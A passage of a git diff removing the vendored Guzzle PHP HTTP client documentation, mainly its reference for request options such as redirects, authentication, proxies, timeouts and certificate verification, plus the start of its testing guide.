etc.), - a ``GuzzleHttp\Exception\RequestException`` is thrown. This exception - extends from ``GuzzleHttp\Exception\TransferException``. Catching this - exception will catch any exception that can be thrown while transferring - requests. - - .. code-block:: php - - use GuzzleHttp\Psr7; - use GuzzleHttp\Exception\RequestException; - - try { - $client->request('GET', 'https://github.com/_abc_123_404'); - } catch (RequestException $e) { - echo Psr7\str($e->getRequest()); - if ($e->hasResponse()) { - echo Psr7\str($e->getResponse()); - } - } - -- A ``GuzzleHttp\Exception\ConnectException`` exception is thrown in the - event of a networking error. This exception extends from - ``GuzzleHttp\Exception\RequestException``. - -- A ``GuzzleHttp\Exception\ClientException`` is thrown for 400 - level errors if the ``http_errors`` request option is set to true. This - exception extends from ``GuzzleHttp\Exception\BadResponseException`` and - ``GuzzleHttp\Exception\BadResponseException`` extends from - ``GuzzleHttp\Exception\RequestException``. - - .. code-block:: php - - use GuzzleHttp\Psr7; - use GuzzleHttp\Exception\ClientException; - - try { - $client->request('GET', 'https://github.com/_abc_123_404'); - } catch (ClientException $e) { - echo Psr7\str($e->getRequest()); - echo Psr7\str($e->getResponse()); - } - -- A ``GuzzleHttp\Exception\ServerException`` is thrown for 500 level - errors if the ``http_errors`` request option is set to true. This - exception extends from ``GuzzleHttp\Exception\BadResponseException``. - -- A ``GuzzleHttp\Exception\TooManyRedirectsException`` is thrown when too - many redirects are followed. This exception extends from ``GuzzleHttp\Exception\RequestException``. - -All of the above exceptions extend from -``GuzzleHttp\Exception\TransferException``. - - -Environment Variables -===================== - -Guzzle exposes a few environment variables that can be used to customize the -behavior of the library. - -``GUZZLE_CURL_SELECT_TIMEOUT`` - Controls the duration in seconds that a curl_multi_* handler will use when - selecting on curl handles using ``curl_multi_select()``. Some systems - have issues with PHP's implementation of ``curl_multi_select()`` where - calling this function always results in waiting for the maximum duration of - the timeout. -``HTTP_PROXY`` - Defines the proxy to use when sending requests using the "http" protocol. - - Note: because the HTTP_PROXY variable may contain arbitrary user input on some (CGI) environments, the variable is only used on the CLI SAPI. See https://httpoxy.org for more information. -``HTTPS_PROXY`` - Defines the proxy to use when sending requests using the "https" protocol. -``NO_PROXY`` - Defines URLs for which a proxy should not be used. See :ref:`proxy-option` for usage. - - -Relevant ini Settings ---------------------- - -Guzzle can utilize PHP ini settings when configuring clients. - -``openssl.cafile`` - Specifies the path on disk to a CA file in PEM format to use when sending - requests over "https". See: https://wiki.php.net/rfc/tls-peer-verification#phpini_defaults diff --git a/vendor/guzzlehttp/guzzle/docs/request-options.rst b/vendor/guzzlehttp/guzzle/docs/request-options.rst deleted file mode 100644 index 6191487d76..0000000000 --- a/vendor/guzzlehttp/guzzle/docs/request-options.rst +++ /dev/null @@ -1,1085 +0,0 @@ -=============== -Request Options -=============== - -You can customize requests created and transferred by a client using -**request options**. Request options control various aspects of a request -including, headers, query string parameters, timeout settings, the body of a -request, and much more. - -All of the following examples use the following client: - -.. code-block:: php - - $client = new GuzzleHttp\Client(['base_uri' => 'http://httpbin.org']); - - -.. _allow_redirects-option: - -allow_redirects ---------------- - -:Summary: Describes the redirect behavior of a request -:Types: - - bool - - array -:Default: - - :: - - [ - 'max' => 5, - 'strict' => false, - 'referer' => false, - 'protocols' => ['http', 'https'], - 'track_redirects' => false - ] - -:Constant: ``GuzzleHttp\RequestOptions::ALLOW_REDIRECTS`` - -Set to ``false`` to disable redirects. - -.. code-block:: php - - $res = $client->request('GET', '/redirect/3', ['allow_redirects' => false]); - echo $res->getStatusCode(); - // 302 - -Set to ``true`` (the default setting) to enable normal redirects with a maximum -number of 5 redirects. - -.. code-block:: php - - $res = $client->request('GET', '/redirect/3'); - echo $res->getStatusCode(); - // 200 - -You can also pass an associative array containing the following key value -pairs: - -- max: (int, default=5) maximum number of allowed redirects. -- strict: (bool, default=false) Set to true to use strict redirects. - Strict RFC compliant redirects mean that POST redirect requests are sent as - POST requests vs. doing what most browsers do which is redirect POST requests - with GET requests. -- referer: (bool, default=false) Set to true to enable adding the Referer - header when redirecting. -- protocols: (array, default=['http', 'https']) Specified which protocols are - allowed for redirect requests. -- on_redirect: (callable) PHP callable that is invoked when a redirect - is encountered. The callable is invoked with the original request and the - redirect response that was received. Any return value from the on_redirect - function is ignored. -- track_redirects: (bool) When set to ``true``, each redirected URI and status - code encountered will be tracked in the ``X-Guzzle-Redirect-History`` and - ``X-Guzzle-Redirect-Status-History`` headers respectively. All URIs and - status codes will be stored in the order which the redirects were encountered. - - Note: When tracking redirects the ``X-Guzzle-Redirect-History`` header will - exclude the initial request's URI and the ``X-Guzzle-Redirect-Status-History`` - header will exclude the final status code. - -.. code-block:: php - - use Psr\Http\Message\RequestInterface; - use Psr\Http\Message\ResponseInterface; - use Psr\Http\Message\UriInterface; - - $onRedirect = function( - RequestInterface $request, - ResponseInterface $response, - UriInterface $uri - ) { - echo 'Redirecting! ' . $request->getUri() . ' to ' . $uri . "\n"; - }; - - $res = $client->request('GET', '/redirect/3', [ - 'allow_redirects' => [ - 'max' => 10, // allow at most 10 redirects. - 'strict' => true, // use "strict" RFC compliant redirects. - 'referer' => true, // add a Referer header - 'protocols' => ['https'], // only allow https URLs - 'on_redirect' => $onRedirect, - 'track_redirects' => true - ] - ]); - - echo $res->getStatusCode(); - // 200 - - echo $res->getHeaderLine('X-Guzzle-Redirect-History'); - // http://first-redirect, http://second-redirect, etc... - - echo $res->getHeaderLine('X-Guzzle-Redirect-Status-History'); - // 301, 302, etc... - -.. warning:: - - This option only has an effect if your handler has the - ``GuzzleHttp\Middleware::redirect`` middleware. This middleware is added - by default when a client is created with no handler, and is added by - default when creating a handler with ``GuzzleHttp\HandlerStack::create``. - - -auth ----- - -:Summary: Pass an array of HTTP authentication parameters to use with the - request. The array must contain the username in index [0], the password in - index [1], and you can optionally provide a built-in authentication type in - index [2]. Pass ``null`` to disable authentication for a request. -:Types: - - array - - string - - null -:Default: None -:Constant: ``GuzzleHttp\RequestOptions::AUTH`` - -The built-in authentication types are as follows: - -basic - Use `basic HTTP authentication `_ - in the ``Authorization`` header (the default setting used if none is - specified). - -.. code-block:: php - - $client->request('GET', '/get', ['auth' => ['username', 'password']]); - -digest - Use `digest authentication `_ - (must be supported by the HTTP handler). - -.. code-block:: php - - $client->request('GET', '/get', [ - 'auth' => ['username', 'password', 'digest'] - ]); - -.. note:: - - This is currently only supported when using the cURL handler, but - creating a replacement that can be used with any HTTP handler is - planned. - -ntlm - Use `Microsoft NTLM authentication `_ - (must be supported by the HTTP handler). - -.. code-block:: php - - $client->request('GET', '/get', [ - 'auth' => ['username', 'password', 'ntlm'] - ]); - -.. note:: - - This is currently only supported when using the cURL handler. - - -body ----- - -:Summary: The ``body`` option is used to control the body of an entity - enclosing request (e.g., PUT, POST, PATCH). -:Types: - - string - - ``fopen()`` resource - - ``Psr\Http\Message\StreamInterface`` -:Default: None -:Constant: ``GuzzleHttp\RequestOptions::BODY`` - -This setting can be set to any of the following types: - -- string - - .. code-block:: php - - // You can send requests that use a string as the message body. - $client->request('PUT', '/put', ['body' => 'foo']); - -- resource returned from ``fopen()`` - - .. code-block:: php - - // You can send requests that use a stream resource as the body. - $resource = fopen('http://httpbin.org', 'r'); - $client->request('PUT', '/put', ['body' => $resource]); - -- ``Psr\Http\Message\StreamInterface`` - - .. code-block:: php - - // You can send requests that use a Guzzle stream object as the body - $stream = GuzzleHttp\Psr7\stream_for('contents...'); - $client->request('POST', '/post', ['body' => $stream]); - -.. note:: - - This option cannot be used with ``form_params``, ``multipart``, or ``json`` - - -.. _cert-option: - -cert ----- - -:Summary: Set to a string to specify the path to a file containing a PEM - formatted client side certificate. If a password is required, then set to - an array containing the path to the PEM file in the first array element - followed by the password required for the certificate in the second array - element. -:Types: - - string - - array -:Default: None -:Constant: ``GuzzleHttp\RequestOptions::CERT`` - -.. code-block:: php - - $client->request('GET', '/', ['cert' => ['/path/server.pem', 'password']]); - - -.. _cookies-option: - -cookies -------- - -:Summary: Specifies whether or not cookies are used in a request or what cookie - jar to use or what cookies to send. -:Types: ``GuzzleHttp\Cookie\CookieJarInterface`` -:Default: None -:Constant: ``GuzzleHttp\RequestOptions::COOKIES`` - -You must specify the cookies option as a -``GuzzleHttp\Cookie\CookieJarInterface`` or ``false``. - -.. code-block:: php - - $jar = new \GuzzleHttp\Cookie\CookieJar(); - $client->request('GET', '/get', ['cookies' => $jar]); - -.. warning:: - - This option only has an effect if your handler has the - ``GuzzleHttp\Middleware::cookies`` middleware. This middleware is added - by default when a client is created with no handler, and is added by - default when creating a handler with ``GuzzleHttp\default_handler``. - -.. tip:: - - When creating a client, you can set the default cookie option to ``true`` - to use a shared cookie session associated with the client. - - -.. _connect_timeout-option: - -connect_timeout ---------------- - -:Summary: Float describing the number of seconds to wait while trying to connect - to a server. Use ``0`` to wait indefinitely (the default behavior). -:Types: float -:Default: ``0`` -:Constant: ``GuzzleHttp\RequestOptions::CONNECT_TIMEOUT`` - -.. code-block:: php - - // Timeout if the client fails to connect to the server in 3.14 seconds. - $client->request('GET', '/delay/5', ['connect_timeout' => 3.14]); - -.. note:: - - This setting must be supported by the HTTP handler used to send a request. - ``connect_timeout`` is currently only supported by the built-in cURL - handler. - - -.. _debug-option: - -debug ------ - -:Summary: Set to ``true`` or set to a PHP stream returned by ``fopen()`` to - enable debug output with the handler used to send a request. For example, - when using cURL to transfer requests, cURL's verbose of ``CURLOPT_VERBOSE`` - will be emitted. When using the PHP stream wrapper, stream wrapper - notifications will be emitted. If set to true, the output is written to - PHP's STDOUT. If a PHP stream is provided, output is written to the stream. -:Types: - - bool - - ``fopen()`` resource -:Default: None -:Constant: ``GuzzleHttp\RequestOptions::DEBUG`` - -.. code-block:: php - - $client->request('GET', '/get', ['debug' => true]); - -Running the above example would output something like the following: - -:: - - * About to connect() to httpbin.org port 80 (#0) - * Trying 107.21.213.98... * Connected to httpbin.org (107.21.213.98) port 80 (#0) - > GET /get HTTP/1.1 - Host: httpbin.org - User-Agent: Guzzle/4.0 curl/7.21.4 PHP/5.5.7 - - < HTTP/1.1 200 OK - < Access-Control-Allow-Origin: * - < Content-Type: application/json - < Date: Sun, 16 Feb 2014 06:50:09 GMT - < Server: gunicorn/0.17.4 - < Content-Length: 335 - < Connection: keep-alive - < - * Connection #0 to host httpbin.org left intact - - -.. _decode_content-option: - -decode_content --------------- - -:Summary: Specify whether or not ``Content-Encoding`` responses (gzip, - deflate, etc.) are automatically decoded. -:Types: - - string - - bool -:Default: ``true`` -:Constant: ``GuzzleHttp\RequestOptions::DECODE_CONTENT`` - -This option can be used to control how content-encoded response bodies are -handled. By default, ``decode_content`` is set to true, meaning any gzipped -or deflated response will be decoded by Guzzle. - -When set to ``false``, the body of a response is never decoded, meaning the -bytes pass through the handler unchanged. - -.. code-block:: php - - // Request gzipped data, but do not decode it while downloading - $client->request('GET', '/foo.js', [ - 'headers' => ['Accept-Encoding' => 'gzip'], - 'decode_content' => false - ]); - -When set to a string, the bytes of a response are decoded and the string value -provided to the ``decode_content`` option is passed as the ``Accept-Encoding`` -header of the request. - -.. code-block:: php - - // Pass "gzip" as the Accept-Encoding header. - $client->request('GET', '/foo.js', ['decode_content' => 'gzip']); - - -.. _delay-option: - -delay ------ - -:Summary: The number of milliseconds to delay before sending the request. -:Types: - - integer - - float -:Default: null -:Constant: ``GuzzleHttp\RequestOptions::DELAY`` - - -.. _expect-option: - -expect ------- - -:Summary: Controls the behavior of the "Expect: 100-Continue" header. -:Types: - - bool - - integer -:Default: ``1048576`` -:Constant: ``GuzzleHttp\RequestOptions::EXPECT`` - -Set to ``true`` to enable the "Expect: 100-Continue" header for all requests -that sends a body. Set to ``false`` to disable the "Expect: 100-Continue" -header for all requests. Set to a number so that the size of the payload must -be greater than the number in order to send the Expect header. Setting to a -number will send the Expect header for all requests in which the size of the -payload cannot be determined or where the body is not rewindable. - -By default, Guzzle will add the "Expect: 100-Continue" header when the size of -the body of a request is greater than 1 MB and a request is using HTTP/1.1. - -.. note:: - - This option only takes effect when using HTTP/1.1. The HTTP/1.0 and - HTTP/2.0 protocols do not support the "Expect: 100-Continue" header. - Support for handling the "Expect: 100-Continue" workflow must be - implemented by Guzzle HTTP handlers used by a client. - - -force_ip_resolve ----------------- - -:Summary: Set to "v4" if you want the HTTP handlers to use only ipv4 protocol or "v6" for ipv6 protocol. -:Types: string -:Default: null -:Constant: ``GuzzleHttp\RequestOptions::FORCE_IP_RESOLVE`` - -.. code-block:: php - - // Force ipv4 protocol - $client->request('GET', '/foo', ['force_ip_resolve' => 'v4']); - - // Force ipv6 protocol - $client->request('GET', '/foo', ['force_ip_resolve' => 'v6']); - -.. note:: - - This setting must be supported by the HTTP handler used to send a request. - ``force_ip_resolve`` is currently only supported by the built-in cURL - and stream handlers. - - -form_params ------------ - -:Summary: Used to send an `application/x-www-form-urlencoded` POST request. -:Types: array -:Constant: ``GuzzleHttp\RequestOptions::FORM_PARAMS`` - -Associative array of form field names to values where each value is a string or -array of strings. Sets the Content-Type header to -application/x-www-form-urlencoded when no Content-Type header is already -present. - -.. code-block:: php - - $client->request('POST', '/post', [ - 'form_params' => [ - 'foo' => 'bar', - 'baz' => ['hi', 'there!'] - ] - ]); - -.. note:: - - ``form_params`` cannot be used with the ``multipart`` option. You will need to use - one or the other. Use ``form_params`` for ``application/x-www-form-urlencoded`` - requests, and ``multipart`` for ``multipart/form-data`` requests. - - This option cannot be used with ``body``, ``multipart``, or ``json`` - - -headers -------- - -:Summary: Associative array of headers to add to the request. Each key is the - name of a header, and each value is a string or array of strings - representing the header field values. -:Types: array -:Defaults: None -:Constant: ``GuzzleHttp\RequestOptions::HEADERS`` - -.. code-block:: php - - // Set various headers on a request - $client->request('GET', '/get', [ - 'headers' => [ - 'User-Agent' => 'testing/1.0', - 'Accept' => 'application/json', - 'X-Foo' => ['Bar', 'Baz'] - ] - ]); - -Headers may be added as default options when creating a client. When headers -are used as default options, they are only applied if the request being created -does not already contain the specific header. This includes both requests passed -to the client in the ``send()`` and ``sendAsync()`` methods, and requests -created by the client (e.g., ``request()`` and ``requestAsync()``). - -.. code-block:: php - - $client = new GuzzleHttp\Client(['headers' => ['X-Foo' => 'Bar']]); - - // Will send a request with the X-Foo header. - $client->request('GET', '/get'); - - // Sets the X-Foo header to "test", which prevents the default header - // from being applied. - $client->request('GET', '/get', ['headers' => ['X-Foo' => 'test']]); - - // Will disable adding in default headers. - $client->request('GET', '/get', ['headers' => null]); - - // Will not overwrite the X-Foo header because it is in the message. - use GuzzleHttp\Psr7\Request; - $request = new Request('GET', 'http://foo.com', ['X-Foo' => 'test']); - $client->send($request); - - // Will overwrite the X-Foo header with the request option provided in the - // send method. - use GuzzleHttp\Psr7\Request; - $request = new Request('GET', 'http://foo.com', ['X-Foo' => 'test']); - $client->send($request, ['headers' => ['X-Foo' => 'overwrite']]); - - -.. _http-errors-option: - -http_errors ------------ - -:Summary: Set to ``false`` to disable throwing exceptions on an HTTP protocol - errors (i.e., 4xx and 5xx responses). Exceptions are thrown by default when - HTTP protocol errors are encountered. -:Types: bool -:Default: ``true`` -:Constant: ``GuzzleHttp\RequestOptions::HTTP_ERRORS`` - -.. code-block:: php - - $client->request('GET', '/status/500'); - // Throws a GuzzleHttp\Exception\ServerException - - $res = $client->request('GET', '/status/500', ['http_errors' => false]); - echo $res->getStatusCode(); - // 500 - -.. warning:: - - This option only has an effect if your handler has the - ``GuzzleHttp\Middleware::httpErrors`` middleware. This middleware is added - by default when a client is created with no handler, and is added by - default when creating a handler with ``GuzzleHttp\default_handler``. - - -idn_conversion --------------- - -:Summary: Internationalized Domain Name (IDN) support (enabled by default if - ``intl`` extension is available). -:Types: - - bool - - int -:Default: ``true`` if ``intl`` extension is available (and ICU library is 4.6+ for PHP 7.2+), ``false`` otherwise -:Constant: ``GuzzleHttp\RequestOptions::IDN_CONVERSION`` - -.. code-block:: php - - $client->request('GET', 'https://яндекс.рф'); - // яндекс.рф is translated to xn--d1acpjx3f.xn--p1ai before passing it to the handler - - $res = $client->request('GET', 'https://яндекс.рф', ['idn_conversion' => false]); - // The domain part (яндекс.рф) stays unmodified - -Enables/disables IDN support, can also be used for precise control by combining -IDNA_* constants (except IDNA_ERROR_*), see ``$options`` parameter in -`idn_to_ascii() `_ -documentation for more details. - - -json ----- - -:Summary: The ``json`` option is used to easily upload JSON encoded data as the - body of a request. A Content-Type header of ``application/json`` will be - added if no Content-Type header is already present on the message. -:Types: - Any PHP type that can be operated on by PHP's ``json_encode()`` function. -:Default: None -:Constant: ``GuzzleHttp\RequestOptions::JSON`` - -.. code-block:: php - - $response = $client->request('PUT', '/put', ['json' => ['foo' => 'bar']]); - -Here's an example of using the ``tap`` middleware to see what request is sent -over the wire. - -.. code-block:: php - - use GuzzleHttp\Middleware; - - // Grab the client's handler instance. - $clientHandler = $client->getConfig('handler'); - // Create a middleware that echoes parts of the request. - $tapMiddleware = Middleware::tap(function ($request) { - echo $request->getHeaderLine('Content-Type'); - // application/json - echo $request->getBody(); - // {"foo":"bar"} - }); - - $response = $client->request('PUT', '/put', [ - 'json' => ['foo' => 'bar'], - 'handler' => $tapMiddleware($clientHandler) - ]); - -.. note:: - - This request option does not support customizing the Content-Type header - or any of the options from PHP's `json_encode() `_ - function. If you need to customize these settings, then you must pass the - JSON encoded data into the request yourself using the ``body`` request - option and you must specify the correct Content-Type header using the - ``headers`` request option. - - This option cannot be used with ``body``, ``form_params``, or ``multipart`` - - -multipart ---------- - -:Summary: Sets the body of the request to a `multipart/form-data` form. -:Types: array -:Constant: ``GuzzleHttp\RequestOptions::MULTIPART`` - -The value of ``multipart`` is an array of associative arrays, each containing -the following key value pairs: - -- ``name``: (string, required) the form field name -- ``contents``: (StreamInterface/resource/string, required) The data to use in - the form element. -- ``headers``: (array) Optional associative array of custom headers to use with - the form element. -- ``filename``: (string) Optional string to send as the filename in the part. - -.. code-block:: php - - $client->request('POST', '/post', [ - 'multipart' => [ - [ - 'name' => 'foo', - 'contents' => 'data', - 'headers' => ['X-Baz' => 'bar'] - ], - [ - 'name' => 'baz', - 'contents' => fopen('/path/to/file', 'r') - ], - [ - 'name' => 'qux', - 'contents' => fopen('/path/to/file', 'r'), - 'filename' => 'custom_filename.txt' - ], - ] - ]); - -.. note:: - - ``multipart`` cannot be used with the ``form_params`` option. You will need to - use one or the other. Use ``form_params`` for ``application/x-www-form-urlencoded`` - requests, and ``multipart`` for ``multipart/form-data`` requests. - - This option cannot be used with ``body``, ``form_params``, or ``json`` - - -.. _on-headers: - -on_headers ----------- - -:Summary: A callable that is invoked when the HTTP headers of the response have - been received but the body has not yet begun to download. -:Types: - callable -:Constant: ``GuzzleHttp\RequestOptions::ON_HEADERS`` - -The callable accepts a ``Psr\Http\ResponseInterface`` object. If an exception -is thrown by the callable, then the promise associated with the response will -be rejected with a ``GuzzleHttp\Exception\RequestException`` that wraps the -exception that was thrown. - -You may need to know what headers and status codes were received before data -can be written to the sink. - -.. code-block:: php - - // Reject responses that are greater than 1024 bytes. - $client->request('GET', 'http://httpbin.org/stream/1024', [ - 'on_headers' => function (ResponseInterface $response) { - if ($response->getHeaderLine('Content-Length') > 1024) { - throw new \Exception('The file is too big!'); - } - } - ]); - -.. note:: - - When writing HTTP handlers, the ``on_headers`` function must be invoked - before writing data to the body of the response. - - -.. _on_stats: - -on_stats --------- - -:Summary: ``on_stats`` allows you to get access to transfer statistics of a - request and access the lower level transfer details of the handler - associated with your client. ``on_stats`` is a callable that is invoked - when a handler has finished sending a request. The callback is invoked - with transfer statistics about the request, the response received, or the - error encountered. Included in the data is the total amount of time taken - to send the request. -:Types: - callable -:Constant: ``GuzzleHttp\RequestOptions::ON_STATS`` - -The callable accepts a ``GuzzleHttp\TransferStats`` object. - -.. code-block:: php - - use GuzzleHttp\TransferStats; - - $client = new GuzzleHttp\Client(); - - $client->request('GET', 'http://httpbin.org/stream/1024', [ - 'on_stats' => function (TransferStats $stats) { - echo $stats->getEffectiveUri() . "\n"; - echo $stats->getTransferTime() . "\n"; - var_dump($stats->getHandlerStats()); - - // You must check if a response was received before using the - // response object. - if ($stats->hasResponse()) { - echo $stats->getResponse()->getStatusCode(); - } else { - // Error data is handler specific. You will need to know what - // type of error data your handler uses before using this - // value. - var_dump($stats->getHandlerErrorData()); - } - } - ]); - - -progress --------- - -:Summary: Defines a function to invoke when transfer progress is made. -:Types: - callable -:Default: None -:Constant: ``GuzzleHttp\RequestOptions::PROGRESS`` - -The function accepts the following positional arguments: - -- the total number of bytes expected to be downloaded, zero if unknown -- the number of bytes downloaded so far -- the total number of bytes expected to be uploaded -- the number of bytes uploaded so far - -.. code-block:: php - - // Send a GET request to /get?foo=bar - $result = $client->request( - 'GET', - '/', - [ - 'progress' => function( - $downloadTotal, - $downloadedBytes, - $uploadTotal, - $uploadedBytes - ) { - //do something - }, - ] - ); - - -.. _proxy-option: - -proxy ------ - -:Summary: Pass a string to specify an HTTP proxy, or an array to specify - different proxies for different protocols. -:Types: - - string - - array -:Default: None -:Constant: ``GuzzleHttp\RequestOptions::PROXY`` - -Pass a string to specify a proxy for all protocols. - -.. code-block:: php - - $client->request('GET', '/', ['proxy' => 'tcp://localhost:8125']); - -Pass an associative array to specify HTTP proxies for specific URI schemes -(i.e., "http", "https"). Provide a ``no`` key value pair to provide a list of -host names that should not be proxied to. - -.. note:: - - Guzzle will automatically populate this value with your environment's - ``NO_PROXY`` environment variable. However, when providing a ``proxy`` - request option, it is up to you to provide the ``no`` value parsed from - the ``NO_PROXY`` environment variable - (e.g., ``explode(',', getenv('NO_PROXY'))``). - -.. code-block:: php - - $client->request('GET', '/', [ - 'proxy' => [ - 'http' => 'tcp://localhost:8125', // Use this proxy with "http" - 'https' => 'tcp://localhost:9124', // Use this proxy with "https", - 'no' => ['.mit.edu', 'foo.com'] // Don't use a proxy with these - ] - ]); - -.. note:: - - You can provide proxy URLs that contain a scheme, username, and password. - For example, ``"http://username:password@192.168.16.1:10"``. - - -query ------ - -:Summary: Associative array of query string values or query string to add to - the request. -:Types: - - array - - string -:Default: None -:Constant: ``GuzzleHttp\RequestOptions::QUERY`` - -.. code-block:: php - - // Send a GET request to /get?foo=bar - $client->request('GET', '/get', ['query' => ['foo' => 'bar']]); - -Query strings specified in the ``query`` option will overwrite all query string -values supplied in the URI of a request. - -.. code-block:: php - - // Send a GET request to /get?foo=bar - $client->request('GET', '/get?abc=123', ['query' => ['foo' => 'bar']]); - -read_timeout ------------- - -:Summary: Float describing the timeout to use when reading a streamed body -:Types: float -:Default: Defaults to the value of the ``default_socket_timeout`` PHP ini setting -:Constant: ``GuzzleHttp\RequestOptions::READ_TIMEOUT`` - -The timeout applies to individual read operations on a streamed body (when the ``stream`` option is enabled). - -.. code-block:: php - - $response = $client->request('GET', '/stream', [ - 'stream' => true, - 'read_timeout' => 10, - ]); - - $body = $response->getBody(); - - // Returns false on timeout - $data = $body->read(1024); - - // Returns false on timeout - $line = fgets($body->detach()); - -.. _sink-option: - -sink ----- - -:Summary: Specify where the body of a response will be saved. -:Types: - - string (path to file on disk) - - ``fopen()`` resource - - ``Psr\Http\Message\StreamInterface`` - -:Default: PHP temp stream -:Constant: ``GuzzleHttp\RequestOptions::SINK`` - -Pass a string to specify the path to a file that will store the contents of the -response body: - -.. code-block:: php - - $client->request('GET', '/stream/20', ['sink' => '/path/to/file']); - -Pass a resource returned from ``fopen()`` to write the response to a PHP stream: - -.. code-block:: php - - $resource = fopen('/path/to/file', 'w'); - $client->request('GET', '/stream/20', ['sink' => $resource]); - -Pass a ``Psr\Http\Message\StreamInterface`` object to stream the response -body to an open PSR-7 stream. - -.. code-block:: php - - $resource = fopen('/path/to/file', 'w'); - $stream = GuzzleHttp\Psr7\stream_for($resource); - $client->request('GET', '/stream/20', ['save_to' => $stream]); - -.. note:: - - The ``save_to`` request option has been deprecated in favor of the - ``sink`` request option. Providing the ``save_to`` option is now an alias - of ``sink``. - - -.. _ssl_key-option: - -ssl_key -------- - -:Summary: Specify the path to a file containing a private SSL key in PEM - format. If a password is required, then set to an array containing the path - to the SSL key in the first array element followed by the password required - for the certificate in the second element. -:Types: - - string - - array -:Default: None -:Constant: ``GuzzleHttp\RequestOptions::SSL_KEY`` - -.. note:: - - ``ssl_key`` is implemented by HTTP handlers. This is currently only - supported by the cURL handler, but might be supported by other third-part - handlers. - - -.. _stream-option: - -stream ------- - -:Summary: Set to ``true`` to stream a response rather than download it all - up-front. -:Types: bool -:Default: ``false`` -:Constant: ``GuzzleHttp\RequestOptions::STREAM`` - -.. code-block:: php - - $response = $client->request('GET', '/stream/20', ['stream' => true]); - // Read bytes off of the stream until the end of the stream is reached - $body = $response->getBody(); - while (!$body->eof()) { - echo $body->read(1024); - } - -.. note:: - - Streaming response support must be implemented by the HTTP handler used by - a client. This option might not be supported by every HTTP handler, but the - interface of the response object remains the same regardless of whether or - not it is supported by the handler. - - -synchronous ------------ - -:Summary: Set to true to inform HTTP handlers that you intend on waiting on the - response. This can be useful for optimizations. -:Types: bool -:Default: none -:Constant: ``GuzzleHttp\RequestOptions::SYNCHRONOUS`` - - -.. _verify-option: - -verify ------- - -:Summary: Describes the SSL certificate verification behavior of a request. - - - Set to ``true`` to enable SSL certificate verification and use the default - CA bundle provided by operating system. - - Set to ``false`` to disable certificate verification (this is insecure!). - - Set to a string to provide the path to a CA bundle to enable verification - using a custom certificate. -:Types: - - bool - - string -:Default: ``true`` -:Constant: ``GuzzleHttp\RequestOptions::VERIFY`` - -.. code-block:: php - - // Use the system's CA bundle (this is the default setting) - $client->request('GET', '/', ['verify' => true]); - - // Use a custom SSL certificate on disk. - $client->request('GET', '/', ['verify' => '/path/to/cert.pem']); - - // Disable validation entirely (don't do this!). - $client->request('GET', '/', ['verify' => false]); - -Not all system's have a known CA bundle on disk. For example, Windows and -OS X do not have a single common location for CA bundles. When setting -"verify" to ``true``, Guzzle will do its best to find the most appropriate -CA bundle on your system. When using cURL or the PHP stream wrapper on PHP -versions >= 5.6, this happens by default. When using the PHP stream -wrapper on versions < 5.6, Guzzle tries to find your CA bundle in the -following order: - -1. Check if ``openssl.cafile`` is set in your php.ini file. -2. Check if ``curl.cainfo`` is set in your php.ini file. -3. Check if ``/etc/pki/tls/certs/ca-bundle.crt`` exists (Red Hat, CentOS, - Fedora; provided by the ca-certificates package) -4. Check if ``/etc/ssl/certs/ca-certificates.crt`` exists (Ubuntu, Debian; - provided by the ca-certificates package) -5. Check if ``/usr/local/share/certs/ca-root-nss.crt`` exists (FreeBSD; - provided by the ca_root_nss package) -6. Check if ``/usr/local/etc/openssl/cert.pem`` (OS X; provided by homebrew) -7. Check if ``C:\windows\system32\curl-ca-bundle.crt`` exists (Windows) -8. Check if ``C:\windows\curl-ca-bundle.crt`` exists (Windows) - -The result of this lookup is cached in memory so that subsequent calls -in the same process will return very quickly. However, when sending only -a single request per-process in something like Apache, you should consider -setting the ``openssl.cafile`` environment variable to the path on disk -to the file so that this entire process is skipped. - -If you do not need a specific certificate bundle, then Mozilla provides a -commonly used CA bundle which can be downloaded -`here `_ -(provided by the maintainer of cURL). Once you have a CA bundle available on -disk, you can set the "openssl.cafile" PHP ini setting to point to the path to -the file, allowing you to omit the "verify" request option. Much more detail on -SSL certificates can be found on the -`cURL website `_. - - -.. _timeout-option: - -timeout -------- - -:Summary: Float describing the timeout of the request in seconds. Use ``0`` - to wait indefinitely (the default behavior). -:Types: float -:Default: ``0`` -:Constant: ``GuzzleHttp\RequestOptions::TIMEOUT`` - -.. code-block:: php - - // Timeout if a server does not return a response in 3.14 seconds. - $client->request('GET', '/delay/5', ['timeout' => 3.14]); - // PHP Fatal error: Uncaught exception 'GuzzleHttp\Exception\RequestException' - - -.. _version-option: - -version -------- - -:Summary: Protocol version to use with the request. -:Types: string, float -:Default: ``1.1`` -:Constant: ``GuzzleHttp\RequestOptions::VERSION`` - -.. code-block:: php - - // Force HTTP/1.0 - $request = $client->request('GET', '/get', ['version' => 1.0]); diff --git a/vendor/guzzlehttp/guzzle/docs/requirements.txt b/vendor/guzzlehttp/guzzle/docs/requirements.txt deleted file mode 100644 index d290aa458d..0000000000 --- a/vendor/guzzlehttp/guzzle/docs/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -Sphinx>=1.3.0,<1.4.0 -guzzle_sphinx_theme>=0.7.0,<0.8.0 diff --git a/vendor/guzzlehttp/guzzle/docs/testing.rst b/vendor/guzzlehttp/guzzle/docs/testing.rst deleted file mode 100644 index 890448b576..0000000000 --- a/vendor/guzzlehttp/guzzle/docs/testing.rst +++ /dev/null @@ -1,196 +0,0 @@ -====================== -Testing Guzzle Clients -====================== - -Guzzle provides several tools that will enable you to easily mock the HTTP -layer without needing to send requests over the internet. - -* Mock handler -* History middleware -* Node.js web server for integration testing - - -Mock Handler -============ - -When testing HTTP clients, you often need to simulate specific scenarios like -returning a successful response, returning an error, or returning specific -responses in a certain order. Because unit tests need to be predictable, easy -to bootstrap, and fast, hitting an actual remote API is a test smell. - -Guzzle provides a mock handler that can be used to fulfill HTTP requests with -a response or exception by shifting return values off of a queue. - -.. code-block:: php - - use GuzzleHttp\Client; - use GuzzleHttp\Handler\MockHandler; - use GuzzleHttp\HandlerStack; - use GuzzleHttp\Psr7\Response; - use GuzzleHttp\Psr7\Request; - use GuzzleHttp\Exception\RequestException; - - // Create a mock and queue two responses. - $mock = new MockHandler([ - new Response(200, ['X-Foo' => 'Bar'], 'Hello, World'), - new Response(202, ['Content-Length' => 0]), - new RequestException('Error Communicating with Server', new Request('GET', 'test')) - ]); - - $handlerStack = HandlerStack::create($mock); - $client = new Client(['handler' => $handlerStack]); - - // The first request is intercepted with the first response. - $response = $client->request('GET', '/'); - echo $response->getStatusCode(); - //> 200 - echo $response->getBody(); - //> Hello, World - // The second request is intercepted 